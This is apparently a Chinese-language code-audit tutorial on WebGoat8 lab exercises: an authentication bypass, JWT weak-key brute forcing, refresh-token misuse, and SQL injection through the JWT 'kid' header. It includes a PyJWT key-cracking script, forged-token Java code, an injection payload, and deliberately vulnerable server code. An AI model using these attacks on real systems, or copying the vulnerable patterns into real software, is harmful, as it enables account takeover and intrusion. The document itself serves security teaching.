Java代码审计入门:WebGoat8(再会)
字数 1572 2025-08-18 11:39:04
Java代码审计入门:WebGoat8认证绕过与JWT安全
1. 认证绕过(Authentication Bypasses)
1.1 案例分析:PayPal双因子密码重置漏洞
- 2016年漏洞:攻击者通过删除安全问题验证报文中的两个安全问题,绕过身份认证
1.2 WebGoat8认证绕过练习
- 目标:绕过一个相似的密码重置功能
- 初始尝试:删除安全问题参数失败
1.3 代码分析
VerifyAccount.java关键代码
@AssignmentPath("/auth-bypass/verify-account")
public class VerifyAccount extends AssignmentEndpoint {
@PostMapping(produces = {"application/json"})
public AttackResult completed(@RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) {
Map<String,String> submittedAnswers = parseSecQuestions(req);
if (verificationHelper.didUserLikelylCheat((HashMap)submittedAnswers)) {
return failed();
}
if (verificationHelper.verifyAccount(new Integer(userId),(HashMap)submittedAnswers)) {
return success();
}
return failed();
}
private HashMap<String,String> parseSecQuestions(HttpServletRequest req) {
Map<String,String> userAnswers = new HashMap<>();
for (String paramName : Collections.list(req.getParameterNames())) {
if (paramName.contains("secQuestion")) {
userAnswers.put(paramName,req.getParameter(paramName));
}
}
return (HashMap)userAnswers;
}
}
AccountVerificationHelper.java关键逻辑
public class AccountVerificationHelper {
// 模拟数据库存储
private static final Integer verifyUserId = new Integer(1223445);
private static final Map<String,String> userSecQuestions = new HashMap<>();
static {
userSecQuestions.put("secQuestion0","Dr. Watson");
userSecQuestions.put("secQuestion1","Baker Street");
}
// 作弊检测
public boolean didUserLikelylCheat(HashMap<String,String> submittedAnswers) {
if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {
return true;
}
if (submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(userSecQuestions.get("secQuestion0"))
&& submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(userSecQuestions.get("secQuestion1"))) {
return true;
}
return false;
}
// 账号验证
public boolean verifyAccount(Integer userId, HashMap<String,String> submittedQuestions) {
if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
return false;
}
if (submittedQuestions.containsKey("secQuestion0") && !submittedQuestions.get("secQuestion0").equals(userSecQuestions.get("secQuestion0"))) {
return false;
}
if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("secQuestion1").equals(userSecQuestions.get("secQuestion1"))) {
return false;
}
return true;
}
}
1.4 绕过思路分析
-
验证流程:
parseSecQuestions:收集所有包含"secQuestion"的参数didUserLikelylCheat:检测作弊- 提交的安全问题数量等于系统预设数量(2个)
- 提交了正确的secQuestion0和secQuestion1答案
verifyAccount:验证账号- 提交的安全问题数量必须等于系统预设数量
- 如果提交了secQuestion0或secQuestion1,答案必须正确
-
绕过方法:
- 构造两个包含"secQuestion"但不是secQuestion0和secQuestion1的参数
- 例如:secQuestionX和secQuestionY,值为任意
2. JWT(JSON Web Token)安全
2.1 JWT基础
- 结构:Header.Payload.Signature
- 特点:自包含、可验证、数字签名
- 安全建议:
- Payload中不存放敏感信息
- 使用安全的通信协议传输
- 密钥长度和复杂度要足够
2.2 WebGoat8 JWT练习
- 目标:篡改JWT成为admin用户并重置投票
JWTVotesEndpoint.java关键代码
@AssignmentPath("/JWT/votings")
public class JWTVotesEndpoint {
public static final String JWT_PASSWORD = TextCodec.BASE64.encode("victory");
@GetMapping("/login")
public void login(@RequestParam("user") String user, HttpServletResponse response) {
Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10))));
claims.put("admin", "false");
claims.put("user", user);
String token = Jwts.builder()
.setClaims(claims)
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
.compact();
// 设置cookie
}
@PostMapping("reset")
public AttackResult resetVotes(@CookieValue(value = "access_token") String accessToken) {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
Claims claims = (Claims) jwt.getBody();
boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
if (!isAdmin) {
return failed();
}
// 重置投票
return success();
}
}
2.3 攻击步骤
- 获取JWT密钥:
- 方法:弱密钥爆破
- 使用PyJWT编写爆破脚本:
import jwt
import termcolor
jwt_str = 'eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk3MjI2NDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.Y2WgbXt9wjv4p4BdM_tA9f05sG-_n1ugojijOZMXx2_Gld_Ip4dOazj9K3iWVC68W_7_HEyu2_c0qSjtqDC0Vg'
with open('Top1000.txt') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str, verify=True, key=key_)
print('Found key:', termcolor.colored(key_, 'green'))
break
except jwt.exceptions.InvalidSignatureError:
continue
-
篡改JWT:
- 使用获取的密钥"victory"
- 将admin字段改为"true"
- 生成新的JWT
-
使用篡改后的JWT发送reset请求
2.4 JWT刷新令牌(Refresh Token)安全问题
JWTRefreshEndpoint.java关键代码
@PostMapping("newToken")
public ResponseEntity newToken(@RequestHeader("Authorization") String token, @RequestBody Map<String, Object> json) {
String user;
String refreshToken;
try {
Jwt<Header, Claims> jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", ""));
user = (String) jwt.getBody().get("user");
refreshToken = (String) json.get("refresh_token");
} catch (ExpiredJwtException e) {
user = (String) e.getClaims().get("user");
refreshToken = (String) json.get("refresh_token");
}
if (user == null || refreshToken == null) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
} else if (validRefreshTokens.contains(refreshToken)) {
validRefreshTokens.remove(refreshToken);
return ResponseEntity.ok(createNewTokens(user)); // 漏洞点:未验证user和refreshToken的对应关系
}
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
攻击步骤
- 获取Tom的过期JWT
- 使用Jerry的账号密码(Jerry/bm5nhSkxCXZkKRy4)获取refresh token
- 使用Tom的过期JWT和Jerry的refresh token请求新token
- 获得Tom的新access token
- 使用新token进行操作
2.5 JWT Final挑战:SQL注入与密钥控制
JWTFinalEndpoint.java关键代码
@PostMapping("delete")
public AttackResult resetVotes(@RequestParam("token") String token) {
Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
@Override
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
final String kid = (String) header.get("kid");
ResultSet rs = connection.createStatement().executeQuery(
"SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
while (rs.next()) {
return TextCodec.BASE64.decode(rs.getString(1));
}
return null;
}
}).parseClaimsJws(token);
String username = (String) jwt.getBody().get("username");
if ("Tom".equals(username)) {
return success();
}
return failed();
}
攻击步骤
-
构造恶意JWT:
- 在header中设置kid参数进行SQL注入:
{ "kid": "webgoat_key' UNION SELECT 'cXdlcnR5cXdlcnR5MTIzNA==' -- " } - 将username改为"Tom"
- 使用base64解码后的"qwertyqwerty1234"作为签名密钥
- 在header中设置kid参数进行SQL注入:
-
生成JWT的Java代码:
public class JWTcryptotest {
public static void createJWTToken() {
Claims claims = Jwts.claims();
claims.put("username", "Tom");
// 其他必要字段...
String token = Jwts.builder()
.setClaims(claims)
.setHeaderParam("kid", "webgoat_key' UNION SELECT 'cXdlcnR5cXdlcnR5MTIzNA==' -- ")
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS256,
TextCodec.BASE64.decode("qwertyqwerty1234"))
.compact();
}
}
3. 关键总结
3.1 认证绕过
- 黑盒测试时可尝试删除参数或修改参数数量
- 代码审计时注意验证逻辑是否完整,特别是边界条件
3.2 JWT安全
-
开发注意事项:
- 不在JWT中暴露敏感信息
- 使用足够强度的密钥(32位及以上随机字符)
- 对敏感操作增加额外验证
-
测试方法:
- 检查JWT是否可解码获取敏感信息
- 尝试弱密钥爆破
- 篡改算法为none
- 检查刷新令牌机制是否存在越权
-
刷新令牌最佳实践:
- 存储IP地址等信息验证用户可信度
- 跟踪refresh token使用次数
- 验证access token和refresh token的对应关系
3.3 SQL注入与JWT结合
- 注意JWT头部参数可能被用于注入
- 密钥解析过程中的动态查询可能成为攻击点
- 测试时可尝试在JWT各个部分插入常见攻击payload